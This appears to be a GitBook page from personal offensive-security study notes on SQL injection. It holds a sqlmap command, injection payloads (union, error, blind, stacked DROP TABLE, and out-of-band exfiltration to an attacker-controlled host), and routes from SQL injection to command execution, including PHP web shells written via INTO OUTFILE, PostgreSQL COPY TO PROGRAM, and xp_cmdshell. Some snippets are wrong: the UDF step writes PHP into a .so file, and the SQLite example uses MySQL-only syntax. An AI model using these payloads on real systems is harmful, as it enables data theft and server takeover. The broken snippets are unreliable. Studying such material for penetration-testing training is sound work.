0Sec
0Sec
0Sec
  • Spider Security
  • offensive security
    • OSCP
      • WriteUps
        • PortSwigger
          • SQL injection labs
          • Exploiting XXE to retrieve data by repurposing a local DTD
        • PentesterLabs
          • Recon
        • HTB
          • BoardLight
          • Lame
        • THM
          • Walkthroughs
            • Attacktive Directory
            • LineKernel
            • Day 1 — Linux PrivEsc
          • CTF
            • Page
            • BLUE
            • mKingdom
            • RazorBlack
      • Module 1 (General Info)
      • Module 2 (Getting Kali)
        • Leason 1 - Booting Up Kali Linux
        • Leason 2 - The Kali Menu
        • Leason 4 - Finding Your Way Around Kali
        • Leason 5 - Managing Kali Linux Services
      • Module 3 (CLI)
        • The Bash Environment
        • Piping and Redirection
        • Text Searching and Manipulation
          • Regular
        • Managing Processes
        • File and Command Monitoring
      • Module 4 (Practical Tools)
        • Netcat
        • Socat
        • PowerShell & Powercat
        • Wireshark
        • Tcpdump
      • Module 5 (Bash Script)
      • Module 6 (Passive Info Gathering)
      • Module 7 ( Active Info Gathering)
      • Module 8 (Vulnerability Scanning)
      • Module 9 (Web Application Attacks)
        • Cross Site Scripting (XSS)
        • local file inclusion & remote file inclusion
          • Exploit LFI
        • SQL injection
          • Blind Boolean based SQL & Evasion Techniques
          • SQL
          • Login bypass List
        • File upload
        • Remote code execution
      • Module 10 ( Intro Buffer OverFlow)
      • Module 11 (Widows Buffer OverFlow)
        • Buffer OverFlow Challange
      • Module 12 (Linux Buffer OverFlows)
      • Module 13 (Clint Side Attacks)
      • Module 14 (Locating Public Exploits)
      • Module 15 (FIxing Exploits)
      • Module 16 (File Transfers)
      • Module 17 (Antivirus Evasion)
        • Windows
      • Module 18 (Privllege Escalation)
        • Windows
          • Checklist
          • THM - Windows PrivEsc Arena
        • Linux
          • Checklist
          • Linux PrivEsc Arena
      • Module 19 (Password Attacks)
      • Module 20 (Port Redirection and Tunneling)
      • Module 21 (Active Directory Attacks)
        • adbasics_v1.2
      • Module 22 (Metasploit Framwork)
      • Module 23 (Powershell Empire)
      • Course Materials
  • SANS
  • AppSec
    • EWAPTX
      • PHP Type Juggling
      • CSP
      • SqlI
        • Information_schema
        • WriteUps
      • SSTI & CSTI
      • XSS_HTML Injection
      • CORS Attack
      • Clickjacking
      • Open redirect
      • JSONP
      • LFI && LFD && RFI
      • HTTP Host header attacks
      • CSRF
      • XML injection
      • XML external entity (XXE) injection
      • APIs & JWT attacks
      • Insecure Deserialization
      • OAUTH 2.0 authentication vulnerabilities
      • Host Header Injection
      • Insecure Direct Object References (IDOR)
  • Reverse Eng & Malware dev
    • Internals
      • Windows internals
        • Topics in GitHub
        • Chapter 1 Concepts and tools
        • Chapter 2. System architecture
        • Chapter 3. Processes and jobs
        • Chapter 4. Threads
        • Chapter 5. Memory management
        • Chapter 6. I/O system
        • Chapter 7. Security
      • Linux internals ⇒ Soon
      • MacOs X internals ⇒ Soon
  • cheat sheet
    • Pentest_Notes
    • Linux BOF & Wireless Attacks
    • WriteUps
Powered by GitBook
On this page
  • WriteUps
  • How use Sqlmap
  • How SQL Injection Works
  • 1. Detection of SQL Injection Vulnerabilities
  • Entry Point Detection Examples:
  • 2. Exploiting SQL Injection
  • in band
  • Union Based SQL Injection:
  • Error-Based SQL Injection:
  • Blind
  • Boolean-Based Exploitation:
  • Time-Based Exploitation:
  • Out-of-band (OOB)
  • SQl To RCE or Types of DB Get RCE
  • 1.MySQL
  • 2.PostgreSQL
  • 3. MSSQL
  • 4. Oracle
  • 5. SQLite
  1. AppSec
  2. EWAPTX

SqlI

Server-Side Attacks

PreviousCSPNextInformation_schema

Last updated 8 months ago

WriteUps

@Mysql

How use Sqlmap

sqlmap -r req.txt --dbs --random-agent --risk 3 --level 5

How SQL Injection Works

At its core, SQLi exploits vulnerabilities in the input validation framework of an application.

When user inputs are not properly sanitized, an attacker can inject malicious SQL queries that the application will execute without question.

This can result in unauthorized access to sensitive information, data manipulation, and even complete control over the database.

1. Detection of SQL Injection Vulnerabilities

Reconnaissance => backend Use + DBMS

Detecting SQL Injection vulnerabilities involves testing for unexpected or unhandled inputs.

Techniques such as submitting single quotes ('), double quotes ("), or other SQL control characters can reveal how an application processes input.

Observing error messages or application responses can provide clues about the underlying SQL query structure, indicating potential injection points.

Entry Point Detection Examples:

  • Confirming with Logical Operations: Using statements like 1' OR '1'='1 can help determine if an application is vulnerable by altering the query logic.

  • Timing Attacks: Introducing deliberate delays (SLEEP functions) in queries can help identify blind SQL Injection vulnerabilities by observing response times.

2. Exploiting SQL Injection

in band

Once a vulnerability is identified, exploiting it can take various forms depending on the database and the nature of the vulnerability:

Union Based SQL Injection:

Identifying the Number of Columns:

Both ORDER BY and GROUP BY can be exploited to identify the number of columns in the query's result set. This is crucial for constructing a successful UNION SELECT attacks.

Scenario: You’ve identified a page that displays user details based on their ID from the URL parameter ?id=1.

Vulnerable SQL Query:

SELECT name, age FROM users WHERE id = $_GET['id'];

Exploitation:

?id=1 UNION SELECT username, password FROM admin_users

In this example, the attacker appends a UNION SELECT query to retrieve usernames and passwords from an admin_users table, bypassing the intended query's limitations.

Error-Based SQL Injection:

It involves generating database errors to extract information from the error messages.

Scenario: An application displays detailed error messages when SQL queries fail.

Vulnerable SQL Query:

SELECT title, content FROM articles WHERE id = $_GET['id'];

Exploitation:

?id=1 AND (SELECT COUNT(*) FROM admin_users) = CAST('' AS INTEGER)

This payload causes a type conversion error, potentially revealing information about the database structure or data through error messages.

Exploiting blind SQL injection by triggering conditional errors

To see how this works, suppose that two requests are sent containing the following TrackingId cookie values in turn:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

These inputs use the CASE keyword to test a condition and return a different expression depending on whether the expression is true:

Using this technique, you can retrieve data by testing one character at a time:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

Blind

No data is transferred from the web application to the attacker, so the attacker sends data to the database, true or false questions, and observes the response.

Scenario: The application does not display error messages or query results, but changes in response can be observed.

Boolean-Based Exploitation:

?id=1 AND (SELECT SUBSTRING(password, 1, 1) FROM admin_users WHERE username = 'admin') = 'a'

This method involves iteratively guessing the password character by character, and observing the application’s behavior (e.g., response time or content changes) to confirm the guess.

Time-Based Exploitation:

?id=1 AND IF((SELECT SUBSTRING(password, 1, 1) FROM admin_users WHERE username = 'admin') = 'a', sleep(5), 'false')

This payload uses a conditional time delay to confirm the password character, exploiting the database’s response time.

D. Stacked Queries SQL Injection

Key Detail: The database and interface must support multiple queries executed in a single database call.

Example:

?id=1; DROP TABLE users --

Stacked queries allow an attacker to execute additional queries after the initial, legitimate query. This is highly dependent on the database and the programming language’s database driver or ORM the application uses.

Out-of-band (OOB)

Key Detail: The database server must be able to make DNS or HTTP requests to external servers.

Example:

?id=1; SELECT LOAD_FILE('\\\\\\\\attacker-controlled-server.com\\\\data')

OOB techniques rely on the database server’s ability to communicate with external systems, allowing data exfiltration via DNS queries or HTTP requests.

F. Advanced SQL Injection Techniques

  • Authentication Bypass: Attackers might inject SQL to bypass login algorithms, often targeting the query logic.Mitigation: Employ strong input validation and parameterized queries for authentication mechanisms.

  • Inferential SQL Injection: Similar to Blind SQLi, this method involves making logical guesses about the data structure and content.Mitigation: Use WAFs and ensure applications do not reveal any hints in their responses.

  • Second Order SQL Injection: Occurs when user input is stored and later executed as a SQL query.Mitigation: Always sanitize user inputs, even when they are not immediately used in database queries.

SQl To RCE or Types of DB Get RCE

1.MySQL

  • LOAD_FILE() => Get file in System

  • INTO OUTFILE => Write php code in server or any lang

  • UDF (User Defined Functions)

Example

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'

go to the browser and use shell.php?cmd=ls

UDF

  • use into outfile

  • make shared library using C (.so, .dll) .so in Linux / .dll in Windows

Example in Linux

#include <stdio.h>
#include <stdlib.h>


void sys_exec(const char *cmd) {
    system(cmd);
}
  • Load Library to system

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/usr/lib/mysql/plugin/udf.so';
  • create function to exec command

CREATE FUNCTION sys_exec RETURNS STRING SONAME 'udf.so';
SELECT sys_exec('id')

2.PostgreSQL

COPY => Use to Write in Files

PG_READ_FILE() => Using to READ Files

COPY TO PROGRAM => Using to execute command in System

COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO PROGRAM 'echo "<?php system($_GET["cmd"]); ?>" > /var/www/html/shell.php';
COPY (SELECT '') TO PROGRAM 'ls /tmp';

go to the browser and use shell.php?cmd=ls

PL/Python

  1. enable Pl/Python

CERATE EXTENSION plpythonu;

2. Write Function to execute os.system

CREATE FUNCTION exec_system(cmd text) RETURNS void AS $$
import os
os.system(cmd)
$$ LANGUAGE plpythonu;
  1. now can call function to EXEC to system command

SELECT exec_system('ls /tmp');

PL/Perl

CREATE EXTENSION plperl;
sqlCopy codeCREATE FUNCTION exec_perl_system(cmd text) RETURNS void AS $$
system(cmd);
$$ LANGUAGE plperl
#exec command
SELECT exec_perl_system('ls /tmp');

3. MSSQL

xp_cmdshell => EXECUTE command in system

EXEC xp_cmdshell 'dir';

4. Oracle

DBMS_SCHEULER => schedule command in the system

BEGIN
  DBMS_SCHEDULER.create_job(
    job_name => 'my_job',
    job_type => 'EXECUTABLE',
    job_action => '/bin/ls',
    start_date => SYSTIMESTAMP,
    enabled => TRUE
  );
END;

5. SQLite

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'

Portswigger
Information_schema
Tricks